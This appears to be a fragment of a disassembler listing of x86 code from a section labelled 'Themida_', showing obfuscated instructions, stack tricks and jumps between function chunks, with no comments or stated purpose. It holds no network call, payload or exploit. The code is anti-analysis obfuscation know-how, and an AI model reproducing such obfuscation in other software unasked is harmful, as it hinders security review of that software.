; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5967C8: ; CODE XREF: sub_58F5B5-335Fj
push 53FFh
mov [esp-8+arg_4], ebx
mov ebx, 4
and ecx, ebx
push [esp-8+arg_4]
pop ebx
push ebp
push 486Ch
mov [esp+0], esp
add dword ptr [esp+0], 4
mov ebp, [esp+0]
jmp loc_58FCD4
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_5967F0: ; CODE XREF: Themida_:00591C99j
mov ah, 34h
xor ah, 0A5h
jg loc_594EE4
inc ah
jnz loc_58C803
shl ah, 3
jmp loc_58DCC0
; ---------------------------------------------------------------------------
sub ebp, 7E96BDFBh
push esp
loc_596812: ; CODE XREF: Themida_:00596E12j
pop esp
xor esi, [esp]
xor [esp], esi
jmp loc_58B051
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936D6
loc_59681E: ; CODE XREF: sub_5936D6+2129j
push eax
mov eax, 0
add eax, ecx
mov [eax], dh
pop eax
jmp loc_59538A
; END OF FUNCTION CHUNK FOR sub_5936D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_59682E: ; CODE XREF: sub_5916CB-3453j
push eax
mov eax, 5AD52A50h
dec eax
jo loc_594BAC
neg eax
jbe loc_58F2DF
add eax, 0B13531EBh
not eax
shr eax, 1
inc eax
dec eax
mov al, bh
loc_596850: ; CODE XREF: Themida_:0058BCBDj
not edx
jmp loc_593BD3
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_596857: ; CODE XREF: Themida_:0058D87Ej
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58E1FB
; ---------------------------------------------------------------------------
loc_596863: ; CODE XREF: Themida_:00596F56j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596868: ; CODE XREF: sub_5916C4-5133j
push edx
mov dh, 0D8h
mov bh, dh
pop edx
sub esp, 4
mov [esp-14h+arg_10], edx
mov dh, 0C8h
jmp loc_592C12
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59687B: ; CODE XREF: Themida_:00594640j
mov bh, 2Ch
add al, 0EFh
sub al, bh
sub al, 0EFh
mov ebx, [esp]
add esp, 4
sub al, bl
jmp loc_593649
; ---------------------------------------------------------------------------
mov ax, [esp]
push 31A3h
mov [esp], eax
push esp
pop eax
add eax, 4
push 3DF7h
mov [esp], ebp
jmp loc_593C38
; ---------------------------------------------------------------------------
loc_5968B3: ; CODE XREF: Themida_:00593538j
xchg bl, dh
not bl
xchg bl, dh
or dh, 1Dh
shl dh, 1
jz loc_58C7C0
add dh, 0A8h
jb loc_591256
push ecx
push edx
jmp loc_58D939
; ---------------------------------------------------------------------------
jmp loc_596F03
; ---------------------------------------------------------------------------
loc_5968D9: ; CODE XREF: Themida_:0058FA10j
; Themida_:00594FCDj
shl dh, 3
shl dh, 3
jz loc_59479E
shr dh, 4
jnz loc_59733B
xor dh, 4Ch
mov bh, dh
pop edx
neg bh
shr bh, 1
mov ecx, ecx
loc_5968FA: ; CODE XREF: Themida_:0058E4C6j
xor ebx, 18BC5B2Fh
jge loc_58D98E
shr ebx, 5
jmp loc_5956D6
; ---------------------------------------------------------------------------
push edx
jmp loc_58D38E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598028
loc_596914: ; CODE XREF: sub_598028+3j
mov [esp+4+var_4], edx
push esi
push edx
push 6A5C0D21h
jmp loc_591866
; END OF FUNCTION CHUNK FOR sub_598028
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_596923: ; CODE XREF: sub_5EC2E8-5F7DBj
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5948B7
loc_596928: ; CODE XREF: sub_5948B7+23j
add ebp, eax
add ebp, 68B54411h
pop eax
push edx
mov edx, 4
add ebp, 40476E9Ah
add ebp, edx
sub ebp, 40476E9Ah
pop edx
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
push 551Ch
jmp loc_590E5C
; END OF FUNCTION CHUNK FOR sub_5948B7
; ---------------------------------------------------------------------------
mov edx, [esp]
push edi
mov edi, esp
push 5156h
mov [esp], edx
jmp loc_58A350
; ---------------------------------------------------------------------------
loc_596969: ; CODE XREF: Themida_:0058A6AFj
; Themida_:00594561j
push ebp
mov ebp, 4C374FCFh
add ebp, 0B3C8B035h
add esi, ebp
pop ebp
jmp loc_596CB1
; ---------------------------------------------------------------------------
loc_59697D: ; CODE XREF: Themida_:0058EF94j
mov ebp, 3A87527Eh
add [esp+4], ebp
jmp loc_59431A
; ---------------------------------------------------------------------------
loc_59698B: ; CODE XREF: Themida_:005907B1j
mov esi, esp
jmp loc_58C6EC
; ---------------------------------------------------------------------------
loc_596992: ; CODE XREF: Themida_:00591487j
add ah, 4Bh
jmp loc_5979A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_59699A: ; CODE XREF: sub_59524C-9339j
push esi
jmp loc_594FE9
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
loc_5969A0: ; CODE XREF: Themida_:00594F82j
xor esi, 0A4729D24h
push 5B56h
mov [esp], esi
jmp loc_58B975
; ---------------------------------------------------------------------------
loc_5969B3: ; CODE XREF: Themida_:0058D3E3j
push esi
not dword ptr [esp]
jmp loc_58C63B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5969BC: ; CODE XREF: sub_58F5B5+8989j
mov edi, [esp+0]
add esp, 4
add esp, 4
sub esp, 4
mov [esp-4+arg_0], esi
mov esi, 38D300Eh
inc esi
push 5D3Ah
mov [esp+0], eax
push esi
push 27BA1453h
jmp loc_58B92E
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_5969EA: ; CODE XREF: sub_5916CB-37F8j
add ebx, ecx
push [esp+4+var_4]
mov ecx, [esp+8+var_8]
add esp, 4
add esp, 4
jmp loc_597D1F
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_596A03: ; CODE XREF: Themida_:00597B3Ej
mov [esp], ebp
push 4
pop ebp
add edi, ebp
jmp loc_5909BF
; ---------------------------------------------------------------------------
loc_596A13: ; CODE XREF: Themida_:005904CCj
; Themida_:005962ACj
add ch, 4Dh
mov bl, ch
jmp loc_5908A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_596A1D: ; CODE XREF: sub_590467-50E9j
push dx
mov dl, 1Fh
xor bh, dl
pop dx
push 48D3h
jmp loc_5975AC
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], eax
push edx
mov edx, 3DE43D4Ah
inc edx
add edx, 0E79D1799h
jmp loc_597123
; ---------------------------------------------------------------------------
loc_596A64: ; CODE XREF: Themida_:005914BEj
pop edi
pop ebx
push ecx
jmp loc_5966D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_596A6C: ; CODE XREF: sub_590467-124Dj
and al, dh
jmp loc_5907FE
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_596A73: ; CODE XREF: Themida_:0058EED8j
; Themida_:0058F0B2j
pop ebx
jmp loc_58F817
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7B82h
jmp loc_592A1F
; ---------------------------------------------------------------------------
loc_596A87: ; CODE XREF: Themida_:005972D6j
pop esi
jmp loc_592498
; ---------------------------------------------------------------------------
loc_596A8D: ; CODE XREF: Themida_:0058A426j
mov ch, 0E3h
jmp loc_593279
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_596A94: ; CODE XREF: sub_58C17E+6CA6j
mov ecx, [esp+0]
add esp, 4
xchg esi, [esp+0]
mov esp, [esp+0]
mov [esp+0], cx
jmp loc_5937D7
; ---------------------------------------------------------------------------
loc_596AAC: ; CODE XREF: sub_58C17E+8717j
pop edx
jmp loc_58BDBD
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_596AB2: ; CODE XREF: Themida_:0058F6E9j
xchg ebp, [esp]
mov esp, [esp]
push dword ptr [eax]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_596ABF: ; CODE XREF: Themida_:0058F1E8j
add ebp, 0C7350CFBh
sub esi, ebp
pop ebp
sub esi, ecx
jmp loc_58B82C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_596ACF: ; CODE XREF: sub_58F5B5+54F7j
add ebp, 76162828h
jmp loc_59593B
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_596ADA: ; CODE XREF: sub_590010+7EA3j
jmp loc_595BE8
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596ADF: ; CODE XREF: sub_5916C4-4295j
push esi
mov esi, 57BE1A7Dh
jmp loc_58CDEC
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_596AEA: ; CODE XREF: Themida_:00596B8Dj
add al, bl
add al, 0B3h
add al, 9Bh
push ebx
mov bh, 0B0h
jmp loc_58A90F
; ---------------------------------------------------------------------------
loc_596AF8: ; CODE XREF: Themida_:0058C79Dj
mov ebp, 4
push edx
mov edx, 2732694h
xor edx, 235B08CEh
push 40A8h
mov [esp], ebp
mov ebp, 78AD2AA6h
or edx, ebp
pop ebp
neg edx
or edx, 156C7135h
add edx, 0A1007698h
add ecx, edx
pop edx
jmp loc_58A54F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_596B2F: ; CODE XREF: sub_58B4D6+2A45j
xor ebx, 4FF0D73h
shr ebx, 4
not ebx
add ebx, 148892A9h
xor ebx, esi
xor esi, ebx
jmp loc_591970
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_596B49: ; CODE XREF: Themida_:00593DE8j
add esp, 4
push edi
push 44Ch
mov [esp], ebp
jmp loc_58EC58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_596B5D: ; CODE XREF: sub_58F5B5+137Ej
mov esp, [esp+0Ch+var_C]
mov [esp+0Ch+var_C], edi
xor [esp+0Ch+var_C], offset word_4D744E
mov esi, [esp+0Ch+var_C]
add esp, 4
push edx
mov edx, offset word_4D744E
xor esi, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
push ebx
push edi
jmp loc_597396
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_596B8B: ; CODE XREF: Themida_:00595765j
sub al, 0B3h
jmp loc_596AEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_596B92: ; CODE XREF: sub_5EC2E8-5F41Ej
mov eax, [esp+2Ch+var_2C]
add esp, 4
xor edi, [esp+28h+var_28]
xor [esp+28h+var_28], edi
jmp loc_592A0C
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_596BA6: ; CODE XREF: sub_594654-1E8Cj
mov esi, 5E62039Ch
add ebx, esi
pop esi
push edi
mov edi, 6ED403E0h
shr edi, 6
jmp loc_58A7F9
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596BBC: ; CODE XREF: sub_5916C4-3A01j
pop ecx
sub ebp, 30103AF3h
add ebp, edx
jmp loc_58A806
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_596BCA: ; CODE XREF: sub_58C17E+380Bj
mov ebp, ebx
jmp loc_58F572
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_596BD1: ; CODE XREF: Themida_:005944B7j
sub eax, esi
jmp loc_58A508
; ---------------------------------------------------------------------------
loc_596BD8: ; CODE XREF: Themida_:00594858j
mov esi, 5D525905h
add [esp+8], esi
jmp loc_591966
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_596BE6: ; CODE XREF: sub_59762D-BDDEj
mov ebx, 621874E6h
add edx, ebx
pop ebx
push eax
jmp loc_58CF15
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_596BF4: ; CODE XREF: sub_5EC2E8-59E84j
add eax, 3EBB71EBh
jmp loc_5960FD
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_596BFE: ; CODE XREF: sub_5916CB-654j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+8+var_8]
pop esp
jmp loc_592C84
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_596C13: ; CODE XREF: Themida_:0059800Aj
pop eax
dec dh
not dh
shl dh, 5
sub esp, 4
jmp loc_58E986
; ---------------------------------------------------------------------------
loc_596C26: ; CODE XREF: Themida_:005938EAj
imul cx, ax
push cx
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_596C32: ; CODE XREF: Themida_:0058F81Bj
mov [esp], edi
mov edi, 702A2A29h
xor esi, edi
pop edi
sub esi, 0FFFFFFFFh
sub esi, 52333FDFh
jmp loc_597AC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_596C4E: ; CODE XREF: sub_5EC2E8-5F6B3j
pop eax
sub bh, 73h
push cx
mov cl, 1Fh
xor bh, cl
jmp loc_58EB86
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_596C5D: ; CODE XREF: Themida_:0059457Aj
pop ax
push small 49D4h
mov [esp], ax
push 11C7h
mov [esp], ecx
push edx
jmp loc_596E26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592857
loc_596C75: ; CODE XREF: sub_592857-D5Aj
push [esp+10h+var_10]
pop ecx
add esp, 4
push ebx
mov ebx, 675C3153h
jmp loc_58B2CF
; END OF FUNCTION CHUNK FOR sub_592857
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_596C87: ; CODE XREF: sub_58F5B5+7183j
mov [esp+4+var_4], edx
jmp loc_596D0E
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_58C8A1
; =============== S U B R O U T I N E =======================================
sub_596CA1 proc near ; CODE XREF: sub_5EC2E8-57B03j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058A530 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C133 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D34A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058EB3C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005923CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592F53 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00595934 SIZE 00000007 BYTES
push ebx
mov bl, 1Ch
not bl
jmp loc_592F53
sub_596CA1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_596CAB: ; CODE XREF: sub_590467-32D7j
pop ecx
jmp loc_58DA3B
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_596CB1: ; CODE XREF: Themida_:00596978j
sub esi, 4
push 1F5h
jmp loc_595D62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596CC1: ; CODE XREF: sub_5916C4+6898j
mov [esp-18h+arg_14], esi
jmp loc_5943BF
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_596CC9: ; CODE XREF: sub_58C17E+467Bj
pop edi
push ebp
mov ebp, 3F3F21CFh
add ebp, 0D464851h
xor ebp, 4C856A24h
add edi, ebp
mov ebp, [esp-0Eh+arg_8+2]
add esp, 4
push ebx
mov ebx, 4
jmp loc_58FC27
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E3A6
loc_596CEF: ; CODE XREF: sub_58E3A6+80F9j
not ebp
jmp loc_58FB66
; END OF FUNCTION CHUNK FOR sub_58E3A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_596CF6: ; CODE XREF: sub_595258-8982j
push edx
push 0A5C0167h
pop edx
not edx
jmp loc_592EC5
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_596D04: ; CODE XREF: sub_5938B9-5947j
mov esi, 75D17666h
jmp loc_58AFF5
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_596D0E: ; CODE XREF: sub_58F5B5+76D5j
push esp
jmp loc_593165
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_596D1C: ; CODE XREF: Themida_:0058BEBBj
xor ebx, [esp]
pop esp
mov [esp], esp
jmp loc_591F22
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_596D28: ; CODE XREF: sub_595BDA-AEDAj
push 3185h
mov [esp+0], eax
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
loc_596D35: ; CODE XREF: Themida_:0058ABD7j
shr ebp, 1
jmp loc_59602D
; ---------------------------------------------------------------------------
loc_596D3C: ; CODE XREF: Themida_:0058C185j
mov cl, 68h
sub cl, 0D4h
mov dl, cl
pop ecx
xor cl, dl
mov edx, [esp]
jmp loc_591EFC
; ---------------------------------------------------------------------------
loc_596D4E: ; CODE XREF: Themida_:0058D080j
push esp
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add ebx, 4
push edi
mov edi, 45FF1514h
add edi, 4A244E96h
jmp loc_5917E3
; ---------------------------------------------------------------------------
loc_596D79: ; CODE XREF: Themida_:00594863j
sub ebp, 7579B725h
add eax, ebp
pop ebp
add ebx, 49C54DB2h
add ebx, 71D376C7h
add ebx, eax
sub ebx, 71D376C7h
sub esp, 4
mov [esp], esi
mov esi, 49C54DB2h
jmp loc_593ADA
; ---------------------------------------------------------------------------
loc_596DA9: ; CODE XREF: Themida_:0058A4B8j
push esi
mov esi, 27C343FCh
jmp loc_595BE8
; ---------------------------------------------------------------------------
loc_596DB4: ; CODE XREF: Themida_:00593E6Aj
pop edx
pop edi
jmp loc_590746
; ---------------------------------------------------------------------------
loc_596DBB: ; CODE XREF: Themida_:0058E014j
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
or [esp], eax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_596DCD: ; CODE XREF: Themida_:0059536Fj
mov [esp], edx
mov edx, 11C72BB5h
jmp loc_597DF5
; ---------------------------------------------------------------------------
loc_596DDA: ; CODE XREF: Themida_:0059423Aj
pop esp
jmp loc_597176
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
jmp loc_58C4BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596DEA: ; CODE XREF: sub_5916C4-4A12j
mov [esp+2+var_4+2], eax
push [esp+2+var_4+2]
pop edi
jmp loc_592B57
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_596DF6: ; CODE XREF: Themida_:0058B5B5j
not eax
inc eax
sub eax, 0BD06D2B0h
add esi, eax
mov eax, [esp]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_596812
; ---------------------------------------------------------------------------
loc_596E17: ; CODE XREF: Themida_:0058E59Bj
mov dh, ah
mov bh, dh
pop edx
pop ax
xchg bh, [esp]
jmp loc_58FD23
; ---------------------------------------------------------------------------
loc_596E26: ; CODE XREF: Themida_:00596C70j
push eax
mov ah, bh
jmp loc_597762
; ---------------------------------------------------------------------------
loc_596E2E: ; CODE XREF: Themida_:0058BC2Aj
pop edi
or [edi+1Ch], esi
push dword ptr [esp]
jmp loc_597421
; ---------------------------------------------------------------------------
loc_596E3A: ; CODE XREF: Themida_:00590F9Bj
pop edx
add cl, 65h
jmp loc_58B4E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_596E43: ; CODE XREF: sub_5938B9-3379j
mov edi, 2
mov ebx, edi
pop edi
add edi, ebx
pop ebx
xor edi, [esp+0]
jmp loc_58FD28
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_596E56: ; CODE XREF: Themida_:005967A6j
mov ah, ch
jmp loc_594571
; ---------------------------------------------------------------------------
loc_596E5D: ; CODE XREF: Themida_:0058DE9Aj
shl eax, 5
neg eax
shr eax, 2
xor eax, 3C267D0Ah
sub ecx, 44DB1980h
add ecx, eax
add ecx, 44DB1980h
jmp loc_5941C8
; ---------------------------------------------------------------------------
loc_596E7D: ; CODE XREF: Themida_:00594D9Dj
neg dword ptr [esp]
mov esi, [esp]
jmp loc_597442
; ---------------------------------------------------------------------------
loc_596E88: ; CODE XREF: Themida_:00597EEBj
sub dx, 9C46h
add ax, dx
pop edx
sub dx, 147h
sub dx, ax
add dx, 147h
pop eax
add ax, 1C2Eh
sub ax, 3C8Bh
jmp loc_58CA47
; ---------------------------------------------------------------------------
loc_596EAC: ; CODE XREF: Themida_:00594586j
mov [esp], dx
push ebx
mov bl, 53h
jmp loc_58CF5D
; =============== S U B R O U T I N E =======================================
sub_596EB8 proc near ; CODE XREF: sub_594131-50A5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005903C7 SIZE 00000064 BYTES
push ebx
mov ebx, 4
jmp loc_5903C7
sub_596EB8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_596EC3: ; CODE XREF: sub_5916CB+4FAEj
mov ebx, 23A0077h
add eax, ebx
pop ebx
sub eax, 1220BF9h
add eax, ebp
add eax, 1220BF9h
push ebx
mov ebx, 23A0077h
sub eax, ebx
pop ebx
pop ebp
mov ebx, eax
jmp loc_58ADEC
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596EE8: ; CODE XREF: sub_5916C4+5E81j
pop ebx
xor ebp, eax
pop eax
and eax, ebp
mov ebp, [esp-6+arg_0+2]
add esp, 4
push edx
mov edx, 1Ch
add edx, edi
push dword ptr [edx]
jmp loc_594C3C
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_596F03: ; CODE XREF: Themida_:005968D4j
; Themida_:0059746Dj
push ebp
jmp loc_5945EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_596F09: ; CODE XREF: Themida_:0058F911j
; sub_5938B9-39E5j
mov edx, ebp
pop ebp
add edx, 1
jmp loc_58DCE7
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_596F17: ; CODE XREF: sub_58C17E+9B18j
jno loc_58E5FA
push edx
mov dl, 0D7h
add bl, dl
pop edx
add bl, 0E8h
push ecx
mov ax, word ptr [esp+6+var_8+2]
push edi
push esp
push dword ptr [esp+0]
pop edi
add esp, 4
push ebp
mov ebp, 4
add edi, ebp
pop ebp
push eax
mov eax, 2
jmp loc_58B4E8
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_596F48: ; CODE XREF: Themida_:0058E0ECj
pop eax
add edx, 2
xchg edx, [esp]
mov esp, [esp]
sub [esp], al
pushf
jmp loc_596863
; ---------------------------------------------------------------------------
loc_596F5B: ; CODE XREF: Themida_:0058CA02j
add esp, 4
push 0BF9h
jmp loc_597D8C
; ---------------------------------------------------------------------------
loc_596F6B: ; CODE XREF: Themida_:00596081j
shl ecx, 1
xor ecx, 65C202F9h
add ecx, 282E8A24h
add edx, ecx
jmp loc_58BC9F
; ---------------------------------------------------------------------------
loc_596F80: ; CODE XREF: Themida_:00591EB0j
pop eax
jmp loc_592B28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_596F86: ; CODE XREF: sub_58F091-2A9Cj
; sub_58C17E+6DF0j
xor ebx, 703859EDh
shr ebx, 7
jnz loc_58C630
xor ebx, 6B84F12Bh
jmp loc_58CBB7
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
mov ah, al
loc_596FA2: ; CODE XREF: Themida_:005922DBj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 7C18h
mov [esp], eax
sub esp, 4
mov [esp], esp
push esi
mov esi, 4
jmp loc_591EAB
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
push 2DC1h
mov [esp], ecx
mov ecx, 4
add eax, ecx
push dword ptr [esp]
jmp loc_590D47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_596FEE: ; CODE XREF: sub_5EC2E8-573CBj
mov al, 0D5h
jmp loc_597F61
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596FF5: ; CODE XREF: sub_5916C4-1566j
xor eax, 663D227Ah
add ecx, eax
pop eax
add ecx, 357F3E30h
push 675Bh
mov [esp+1Ah+var_1A], ebp
mov ebp, 38213202h
sub ebp, 0FFFFFFFFh
sub ebp, 77496B4Eh
push ecx
push ebx
mov ebx, 173129F2h
neg ebx
jnz loc_591573
shl ebx, 2
and ebx, 25C8004Ch
mov dh, 51h
loc_597037: ; CODE XREF: sub_5916C4-7E1j
; sub_595E21-4A9Dj
pop ebx
jmp loc_590A17
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59703D: ; CODE XREF: sub_590467+7B7Fj
sub edi, 0C0E3F7C9h
jmp loc_58C413
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_597048: ; CODE XREF: sub_595655+691j
push esi
mov esi, 64F611C8h
push eax
mov eax, 91E28D7h
not eax
jmp loc_58CA3D
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
loc_59705B: ; CODE XREF: Themida_:0058E81Bj
add al, cl
jmp loc_58AE3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594FD6
loc_597062: ; CODE XREF: sub_594FD6-49Ej
push edx
sub esp, 4
mov [esp+0Ch+var_C], eax
mov al, ch
push ecx
mov ch, al
jmp loc_591B43
; END OF FUNCTION CHUNK FOR sub_594FD6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_597076: ; CODE XREF: sub_5EC2E8-60C2Dj
pop ebp
add ebp, 4
sub esp, 4
mov [esp+20h+var_20], edx
sub esp, 4
jmp loc_590072
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_597091: ; CODE XREF: sub_591059+6108j
mov ecx, 1C04258Eh
jmp loc_58BF59
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_59709B: ; CODE XREF: sub_595E21-7C2Bj
xor ecx, eax
sub esp, 4
mov [esp-4+arg_0], esi
mov esi, ebx
sub esp, 4
mov [esp+0], esi
jmp loc_594440
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5970B0: ; CODE XREF: sub_59762D-1B5j
push edx
jmp loc_590512
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_5970B6: ; CODE XREF: Themida_:00597C0Fj
add dword ptr [esp], 4
jmp loc_592C1D
; ---------------------------------------------------------------------------
loc_5970BF: ; CODE XREF: Themida_:00591F2Fj
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_58BFA6
; ---------------------------------------------------------------------------
loc_5970CF: ; CODE XREF: Themida_:0058CFA2j
add ebx, 4
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_597185
; ---------------------------------------------------------------------------
